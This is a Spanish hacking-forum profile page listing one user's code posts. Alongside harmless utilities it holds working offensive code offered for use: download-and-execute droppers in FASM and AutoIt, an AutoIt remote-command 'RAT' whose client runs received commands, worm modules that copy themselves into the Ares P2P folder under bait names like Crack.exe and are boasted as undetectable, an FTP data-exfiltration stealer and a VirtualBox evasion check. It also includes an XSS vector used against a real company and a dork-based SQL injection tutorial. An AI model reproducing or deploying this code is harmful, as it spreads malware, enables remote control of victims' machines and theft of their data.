Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - k0ws

#1
Python / Detectar Unidades (HDD o FlashDrives)
Febrero 20, 2014, 10:43:37 AM
Me aburria he hice este pequeño code para detectar ciertos tipos de unidades y listarlas:

Código: python

#############################################
# Author: k0ws                              #
# Usage: cUnidades()                        #
# Webs: Indetectables ~ UdTools ~ Underc0de #
#############################################

import win32file as file
import win32api as api
def cUnidades():
listdrives = api.GetLogicalDriveStrings().split("\x00")
i = 0
print "Lista de FlashDrives o HDD: "
for drive in listdrives:
  if len(listdrives) == (i + 1):
   break
  if (file.GetDriveType(listdrives[i])) == 2:
   try:
    api.GetDiskFreeSpace(listdrives[i].replace('\\',''))
    print listdrives[i] + " - Conectado"
   except:
    print listdrives[i] + " - Desconectado"
  if (file.GetDriveType(listdrives[i])) == 3:
   try:
    api.GetDiskFreeSpace(listdrives[i].replace('\\',''))
    print listdrives[i] + " - Conectado"
   except:
    print listdrives[i] + " - Desconectado"
  i = i + 1

cUnidades()


Info sobre los tipos de unidades: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Se que se puede optimizar, pero paso  ::)

-Saludos-
#2
Visual Basic / Len Alternativo
Enero 04, 2014, 08:41:28 PM
Bueno, el codigo es una estupidez, pero se me paso por la cabeza y es similar al StrRev Alternativo que postee hace horas.Aqui os lo dejo.

Código: VB
'##############################
'## Len Alternativo          ##
'## Author: k0ws             ##
'##############################
Public Function Len_Alter(Palabra As String)
Dim a As Long
Dim b() As Byte
Dim c As Integer
b = StrConv(Palabra, vbFromUnicode)
For a = 0 To UBound(b())
c = c + 1
Next a
Len_Alter = c
End Function


EDITADO:

Una pequeña modificacion gracias a Pink y M3:

Código: vb
Public Function Len_Alter(Palabra As String)
Dim b() As Byte
b = StrConv(Palabra, vbFromUnicode)
Len_Alter = UBound(b()) + 1
End Function


-Saludos-
#3
Visual Basic / StrRev Alternativo
Enero 04, 2014, 05:50:43 PM
Bueno, simplemente lo realize como un pequeño ejercicio y he decido traerlo porque me costo un "pelin"
(En VB6 no existe el tipo char, por lo que no era tan facil como pensaba.)

Código: vb
Public Function StrRev_Alter(Palabra As String)
Dim k, i As Integer
Dim Res As String
Dim b() As Byte
b = StrConv(Palabra, vbFromUnicode)
For k = 0 To Len(Palabra) - 1
i = (Len(Palabra) - 1) - k
Res = Res + Chr(b(i))
Next k
StrRev_Alter = Res
End Function


-Saludos-
#4
Off Topic / Feliz Navidad!
Diciembre 28, 2013, 04:49:02 PM
Bueno, hace mucho que no me paso por aquí y me apeteció pasarme y felicitar las fiestas, espero que les vaya todo muy bien  ;D

-Saludos-
#5
Python / Obtener los metadatos de un fichero Exe.
Mayo 23, 2013, 03:28:32 PM
Tengo este code desde hace un tiempo en el disco duro, aqui os lo dejo:

Código: python

#Author: k0ws
#Use: <filename.py> -f filename.exe

import pefile,sys
def ExeMetadata():
try:
  if (sys.argv[1] == "-h"):
   print '\nUse: py_filename.py -f exe_file_location';
   return;
  else:
   sExe =  pefile.PE(sys.argv[2]);
   sDump1 = sExe.dump_info();
   sDump2 = sDump1.split('[VS_FIXEDFILEINFO]');
   sDump3 = sDump2[1].split('----------Resource directory----------');
   sDump4 = sDump3[0].split('LegalCopyright');
   sFinalDump = sDump4[1].split('[VarFileInfo]')
   sF = repr(sFinalDump[0]);
   sF2 = sF.replace('\\xae','').replace('\\xa9','').replace('\n',' ').replace('\ ','');
   print '    \n    LegalCopyright' + eval(sF2)
except:
  print 'Fichero no encontrado!'

ExeMetadata()


-Saludos-
#6
ASM / [FASM] Downloader
Mayo 19, 2013, 06:39:49 AM
Bueno, empece con ASM hace poco y ayer estuve un buen rato bicheandolo para jugar con las apis y salio esto:

Código: ASM
include 'include\win32ax.inc' ;Incluimos para el uso de ciertas apis.
.data ;Seccion de datos.
remote_file db 'http://underc0de.org/foro/Themes/underc0de/images/theme/logo.png',0 ;Definimos una variable para la URL.
local_file db 'deje.png',0 ;Definimos otra variable para el nombre del archivo local.
.code ;Seccion de codigo.
start: ;Comenzamos el codigo
call loading ;Llamamos a la subrutina para cargar las funciones necesarias.
call download ;Llamamos a la subrutina para descargar el archivo.
call execute ;Llamamos a la subrutina para ejecutar el archivo.
exit:
invoke ExitProcess,0 ;Salida del programa.
.end start ;Terminamos.
download: ;Cargamos en la pila los datos necesarios mediante push.
push eax
push 0
push 0
push local_file
push remote_file
push 0
call eax ;llamamos a la funcion UrlDownloadToFileA (Su direccion)
pop eax ;La sacamos de la pila.
invoke FreeLibrary, eax ; "La Liberamos"
call execute ; Nos vamos a la ejecucion del archivo.
loading:
invoke LoadLibrary, 'urlmon.dll' ;Llamamos a la libreria que contiene nuestra funcion.
invoke GetProcAddress, eax, 'URLDownloadToFileA' ;Sacamos la direccion de nuestra funcion.
call download ;Una vez definida la funcion a usar, podemos para a descargar el fichero.
execute:
invoke ShellExecuteA, 0, 0, local_file, 0, 0, SW_SHOW ;Ejecutamos el archivo y salimos...
call exit ;Llamamos a la salida...


-Saludos-
#7
Esta es la forma mas sencilla de instalar modulos para python, solo 2 pasos:

1.sudo apt-get install python-setuptools
2.sudo easy_install nombre_modulo

Wuala, modulo instalado, ahora toca codear  ;)

-Saludos-

#8
Otros lenguajes / Php VS Ruby VS Python
Abril 21, 2013, 02:37:48 PM
Bueno, somo muchos los que nos debatimos entre Ruby o Python (o PHP), hace poco encontre este pequeño "grafico" para aclarar asi donde nos conviene mas orientarnos, espero que les sirva, a mi me sirvio de mucho :)



Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

-Saludos-
#9
Python / [Función] ExisteEnLaWeB
Abril 16, 2013, 07:31:00 PM
Bueno, hacia algo de tiempo que no codeaba y me decidi a traer esta pequeña funcion:

Código: python
'''
Coder: k0ws | If you use this code or part of it, please, credit ;)
'''

import httplib, sys
def buscaArchivoWeb():
try:
  if (sys.argv[1] == "-h"):
   print '\nUse: py_filename.py -w www.host.com -f http://www.host.com/remote_file.ext';
   return;
  else:
   sHost = sys.argv[2];
   sFile = sys.argv[4];
   sCon = httplib.HTTPConnection(sHost);
   sCon.request("GET",sFile);
   sRes = sCon.getresponse().status;
   print '\nWeb: ' + sys.argv[2];
   print 'Remote File: ' + sys.argv[4];
   print 'Remote File Status: ' + str(sRes);
   if sRes == 200:
    print 'Remote Response: The file exist :D';
   else:
    print 'Remote Response: The file doesnt exist!';
except:
print '\nError: I need at least two parameters for working | Remember, the file needs the http:// header for working, the host can be definite like www.server...';

buscaArchivoWeb();




Con esta pequeña funcion se podria hacer un Admin Panel Finder en cuestion de minutos  8)

-Saludos-
#10
Presentaciones y cumpleaños / Buenas!
Abril 13, 2013, 08:57:31 PM
Unos me conocen y otros no, solo queria decir que ya andare de nuevo por el foro, he visto que muchas cosas han cambiado (para bien), no me enrollo mas, nos veremos por aqui!

-Saludos-
#11
Dudas y pedidos generales / Duda Splash Screen
Febrero 05, 2013, 04:23:49 PM
Veran, cuando enciendo mi compu, se queda todo negro, pero cuando la apago brucamente tras el fallo ocurrido y la encindo de nuevo, ya si sale el login.
Uso linux mint 14.

-Saludos-
#12
Off Topic / Fiebre Consumista!
Enero 31, 2013, 10:00:42 PM
Bueno, la idea de este post es postear cualquier cosa que compremos, ya sean:Peliculas,Videojuegos,Compus,Piezas,Libros,Etc.
Cualquier cosa que merezca la pena, no posteis cosas como: "Me compre un helado!" XD.

Normas:

-Fotografia
-Descripcion Breve.


-Saludos-
#13
Python / [Scr] Ofuscando vectores XSS.
Enero 31, 2013, 05:43:59 AM
Bueno, siempre me tengo que parar a ofuscar el vector cuando estoy testeando, asi que cree este pequeño script:

Código: python

# XSS Obfuscator | k0ws
import os
if os.name == "posix":
c = 'clear'
else:
c == 'cls'
os.system(c)
print' +-+-+-+ +-+-+-+-+-+-+-+-+-+-+'
print' |X|S|S| |O|B|F|U|S|C|A|T|O|R|'
print' +-+-+-+ +-+-+-+-+-+-+-+-+-+-+'
print''
vector = raw_input("Ingrese el vector a ofuscar: ")
largo = len(vector)
for i in range(0,largo):
    print '&#' + str(ord(vector [i]))


El resutado es algo asi como esto:



-Saludos-
#14
Python / [Source] Funcion Download
Enero 30, 2013, 05:09:49 PM
Pequeña funcion para descargar archivos de la web a la compu  ;D

Código: python

#Download Function | k0ws
#==========
import urllib2
def _Down(Url):
file = urllib2.urlopen(Url)
output = open('logo.png','wb')
output.write(file.read())
output.close()
#==========
_Down("http://underc0de.org/foro/Themes/underc0de/images/theme/logo.png")


Pense que podria ser un buen downloader, pero al pasarlo por py2exe, pesa una burrada.

-Saludos-
#15
Otros lenguajes Scripting / [Scr] Conexión Inversa
Enero 29, 2013, 05:12:32 AM
Bueno, ayer estuve investigando un poco los sockets en la pagina oficial de autoit, y me parecio buena idea hacer una "shell" de conexion inversa a partir del ejemplo que habia en la web, sin entretenerme mas:

Código: autoit

;Cliente - Author k0ws

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Nemesis R.A.T", 289, 114, 193, 115)
$Input1 = GUICtrlCreateInput("", 8, 8, 273, 21)
$Button1 = GUICtrlCreateButton("Listen", 8, 40, 121, 25)
$Button2 = GUICtrlCreateButton("Close", 160, 40, 121, 25)
$Button3 = GUICtrlCreateButton("Send Command", 8, 80, 273, 25)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
;######################################
Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 3460
    Local $MainSocket, $ConnectedSocket, $szIP_Accepted
    Local $msg, $recv
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
  Case $Input1
Case $Button1
      TCPStartup()
   $MainSocket = TCPListen($szIPADDRESS, $nPORT)
If $MainSocket = -1 Then Exit
$ConnectedSocket = -1
Do
        $ConnectedSocket = TCPAccept($MainSocket)
    Until $ConnectedSocket <> -1
$szIP_Accepted = SocketToIP($ConnectedSocket)
GUICtrlSetData($Input1,$szIP_Accepted)
Case $Button2
TCPShutdown()
Case $Button3
$szData = InputBox("Mandar comando al servidor", @LF & @LF & "Mandar orden a " & $szIP_Accepted)
If @error Or $szData = "" Then ExitLoop
            TCPSend($ConnectedSocket, StringToBinary($szData, 4))
If @error Then ExitLoop
EndSwitch
WEnd
Func SocketToIP($SHOCKET)
    Local $sockaddr, $aRet

    $sockaddr = DllStructCreate("short;ushort;uint;char[8]")

    $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
            "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
    If Not @error And $aRet[0] = 0 Then
        $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
        If Not @error Then $aRet = $aRet[0]
    Else
        $aRet = 0
    EndIf

    $sockaddr = 0

    Return $aRet
EndFunc


Código: autoit

;Server - Author k0ws

StartSvr()
Func StartSvr()
    TCPStartup()
Local $ConnectedSocket, $szData
    Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 3460
$ConnectedSocket = -1
$ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
    If @error Then StartSvr()
       While 1
        $recv = TCPRecv($ConnectedSocket, 2048)
        If @error Then ExitLoop
   $recv = BinaryToString($recv, 4)
           If $recv <> "" Then ShellExecute($recv)
    WEnd
EndFunc 


-Saludos-
#16
Hacking ShowOff / XSS - Coca-Cola Company.
Enero 23, 2013, 09:09:35 PM
Bueno, andaba por la web de cocacola y me dio por mirar haber si tenia algun problemilla.



Web:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector:"><<SCRIPT>alert("k0ws - Underc0de");//<</SCRIPT>
Reportado: Si

-Saludos-
#17
Otros lenguajes Scripting / [Tool] Autoit Ofuscator
Enero 18, 2013, 06:10:56 AM
Autoit ofuscator es una herramienta para ofuscar al maximo tus sources, bien por indeteccion, o por dejarlos ilegibles a otras personas (Sin afectar a la funcionalidad),hay que aclarar que es una herramienta oficial de autoit,sin mas aqui se la dejo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


-Saludos-
#18
Bueno, sin mas aqui les dejo este simple code, se me paso por la mente ya que le estaba dando un vistazo a la biblioteca Inet.au3.

Código: autoit
;Author k0ws
;Web:Underc[0]de.org
;---------------------------------------------
#include <Inet.au3>;Biblioteca Inet,permite el manejo de la web.
;---------------------------------------------
_Down("URL","ARCHIVO O LOCALIZACION");Funcion de 2 variables(Url,Nombre archivo)
ShellExecute("ARCHIVO O LOCALIZACION")
;---------------------------------------------
Func _Down($url,$file);Comienzo de la Funcion
InetGet($url,$file);InetGet = Download
EndFunc ;Cierre de la funcion


Si les salta el clamav, desactiven la funcion UPX en Aut2Exe.

Scan: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

-Saludos-
#19
Presentaciones y cumpleaños / He vuelto.
Enero 14, 2013, 10:11:56 PM
Bueno muchachos, que puedo decir, no puedo vivir sin vosotros  :-X.
Estuve un tiempo off, en el cual aclare mis ideas y mis prioridades, y al fin he vuelto, espero que ser bien recibido de nuevo  :-[

-Saludos-
#20
Códigos Fuentes / [Módulo] sAres v2
Octubre 14, 2012, 08:13:03 AM
Bueno, pues aca les dejo mi ultima creación:

Código: vb
    '/**********************************************\
    '/ Autor: k0ws                                 *\
    '/ Webs: Underc[0]de.org & Udtools.net         *\
    '/ Funcion: Propagar ejecutable via Ares       *\
    '/ Anexo: El autor se exime de su mal uso      *\
    '/ Uso: Call sAres()                           *\
    '/ Si usas este o parte del codigo da creditos *\
    '/**********************************************\
     
    Public Function sAres()
    'Por si las moscas x)
    On Error GoTo erroneo
    'Definimos lo necesario (Rutas,nombres y el contador)
    Dim n As Integer
    Dim lector, ruta As String, rutaCom As String, listaNombres As String, nombresF() As String
    'Leemos la ruta donde Ares guarda las descargas y la convertimos de Hexadecimal a Texto
    Set lector = CreateObject("wscript.shell")
    ruta = lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
    rutaCom = sConvert(ruta)
    'Lista de nombres para autocopiarnos
    listaNombres = "Crack.exe,Serial.exe,Winrar.exe,Winzip.exe,PhotoScape.exe,LiveMessenger2012.exe," _
    & "DiabloIII.exe,DriverPackSolution.exe,MicrosoftOffice2010.exe,AdobePhotoshopCS6.exe,Activador.exe" _
    & ",WindowsXPActivador.exe,Windows7Activador.exe"
    'Nos copiammos usando un pequeño contador para el split ;)
    For n = 0 To 12
    nombresF() = Split(listaNombres, ",")
    FileCopy App.Path & "\" & App.EXEName & ".exe", rutaCom & "\" & nombresF(n)
    Next
    erroneo:
    End
    End Function
     
    Public Function sConvert(ByVal hextext As String) As String 'Funcion para convertir Hexadecimal a exto
       For y = 1 To Len(hextext)
        num = Mid(hextext, y, 2)
        Value = Value & Chr(Val("&h" & num))
        y = y + 1
    Next y
    sConvert = Value
    End Function


El modulo esta completamente FUD, no sean malos   :o

-Saludos-
#21
Estoy tratando de hacer un builder en vb.net.Todo compila perfecto, pero despues no funciona  :-\

~Cliente~

Código: text
Public Class Form1
    Const Delimiter As String = "/***\"
    Dim Stub, msg As String
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Dialog As New SaveFileDialog
        Dialog.Filter = "Exe | Windows Executable Files"
        Dialog.ShowDialog()
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        Stub = Space(LOF(1))
        FileGet(1, Stub)
        FileClose(1)
        FileOpen(1, Dialog.FileName, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, Stub & Delimiter & TextBox1.Text & Delimiter & "Webos")
        FileClose(1)
        MsgBox("Server was made with success", MsgBoxStyle.Information, "Underc0de Downloader")
    End Sub
End Class


~Stub~
Código: text

Public Class Form1
    Const Delimiter As String = "/***\"
    Dim Stub As String
    Dim TITULO As String
    Dim wea As String
    Dim Splitter() As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        On Error Resume Next
        FileOpen(Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        Stub = Space(LOF(1))
        FileGet(1, Stub)
        FileClose(1)
        Splitter = Split(Stub, Delimiter)
        TITULO = Splitter(1)
        wea = Splitter(2)
        MsgBox(TITULO, , wea)
        End
    End Sub
End Class


Por mas que lo observo, no veo el error.

-Saludos-
#22
Hoy aprenderemos a realizar una injección SQL

~¿Que son?~

CitarEl origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro

~Tutorial~

Bien, una vez sabemos que son, os preguntareis. ¿Como las encontramos de forma rapida? Aqui teneis 8500 dorks sacados de PasteBin:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez escojamos un dork lo introducimos en google:



¡Bravo! Encontramos una web vulnerable:



Para provocar el error solo deberemos realizar una consulta erronea, por ejemplo: ' ó -777.



Ahora podemos sacar un par de datos mas sin llegar mas lejo en la inyeccion, yo saque la version de PHP utilizado por el servidor (Podeis sacar el usuario y más):



Bueno, una inyeccion manual lleva algo de tiempo, asi que a partir de aqui podemos usar Havij si queremos llegar a las bases de datos.Podreis encontrar un tutorial bastante bueno aqui: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de la mano del gran ANTRAX!

Esto ha sido todo por hoy, espero que os haya gustado.

-Saludos-

PD:Esta injeccion no llego mas lejos, solo se quedo en esa pequeña consulta. No me hago cargo de como se utilize este conocimiento.

EDITADO SANKO : Si no te importa añadiré el video con el que yo aprendi a realizar una SQLi y asi nos dejamos de problemas y lo acabo de completar.
Si te importa solo dimelo y yo vuelvo a dejartelo como estaba bro.
Es un tutorial de Sh4dow que hace tiempo subi para no perderlo , me dejo muy claras las cosas en su momento.




Saludos.
#23
Bueno,aqui os dejo este source,lo unico que necesitareis sera el modulo cFTP de cobein.

Código: vb

'Codeado por k0ws/respeta el autor
Option Explicit
Dim cFTP As New mFTP
Private Sub Form_Load()
Me.Hide
Dim yo As Object
Set yo = CreateObject("wscript.shell")
Dim so As String
so = yo.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")
Text1.text = "Tu Remoto Usa: " & so
Call Mandar()
End Sub

Function Mandar()
Dim Stealed As String
Dim ftpHost As String
Dim ftpUser As String
Dim ftpPass As String
Stealed = Environ("homedrive") & "\" & Environ("ComputerName") & StrReverse("txt.")
ftpHost = ftp.host.net
ftpUser = GAY
ftpPass = GAY2
Open Stealed For Output As #1
Print #1, Text1.Text
Close #1
cFTP.Connect ftpHost, ftpUser, ftpPass, 21, True, eAT_Direct, vbNullString, vbNullString
cFTP.PutFile Stealed, Environ("ComputerName") & StrReverse("txt.")
cFTP.Disconnect
'
Kill Stealed
'
END
End Function


-Saludos-
#24
Simple y eficaz.

Código: vb

'k0ws
Function NOVBX()
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.FileExists(Environ("programfiles") & "\Oracle\VirtualBox\VBoxSvc.exe")) Then
End
End If
End Function


-Saludos-
#25
Bueno,aqui os dejo este modulo que programe hace un tiempo.
Al dia de hoy sigue FUD.


Código: vb
'sAres Spread Via Ares.
'Autor:k0ws
'Respeta el autor.
Public Function sAres()
Dim Lector, Ruta As String, RutaCom As String
Set Lector = CreateObject("wscript.shell")
Ruta = Lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
RutaCom = HEX2ASCII(Ruta)
FileCopy App.Path & "\" & App.EXEName & ".exe", RutaCom & "\" & App.EXEName & ".exe"
End Function
Public Function HEX2ASCII(ByVal hextext As String) As String
    For y = 1 To Len(hextext)
    num = Mid(hextext, y, 2)
    Value = Value & Chr(Val("&h" & num))
    y = y + 1
Next y
HEX2ASCII = Value
End Function


-Saludos-